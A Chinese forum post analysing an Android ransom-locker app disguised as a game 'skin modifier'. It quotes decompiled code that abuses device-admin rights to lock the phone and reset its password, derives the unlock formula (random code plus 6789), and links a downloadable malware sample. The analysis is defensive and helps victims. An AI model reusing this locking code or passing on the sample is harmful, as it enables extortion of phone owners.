对锁机APP“王者皮肤修改器.APK”的简单分析
首先说下,本人真的是纯菜鸟,有限的知识也是通过本论坛学习而得知,所以大神们不要喷我,谢谢
直接进入主题吧
把APK文件拉到Androidkiller里分析,发现入口是.M
接下来查看下源码,打开MyAdmin.class,发现软件把锁屏密码改成了9797
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent) { String str = Integer.toString(9797); getManager(paramContext).lockNow(); getManager(paramContext).resetPassword(str, 0); return super.onDisableRequested(paramContext, paramIntent); } @Override public void onEnabled(Context paramContext, Intent paramIntent) { String str = Integer.toString(9797); try { Object localObject = Class.forName("com.h.s"); localObject = new Intent(paramContext, (Class)localObject); ((Intent)localObject).setFlags(268435456); paramContext.startService((Intent)localObject); getManager(paramContext).resetPassword(str, 0); super.onEnabled(paramContext, paramIntent); return;
然后再打开S.class,翻到下面,
,我们很明显看到,解锁密码就是 随机码+6789public void onCreate() { super.onCreate(); this.pass = ((Math.random() * 100000000)); this.passw = new Long(this.pass + 6789); this.des = new DU("flower"); try
如你的随机码是111111,那么解锁密码就是 117900
视频地址 http://pan.baidu.com/s/1o8aWDo2
样本:http://pan.baidu.com/s/1dFE4BhJ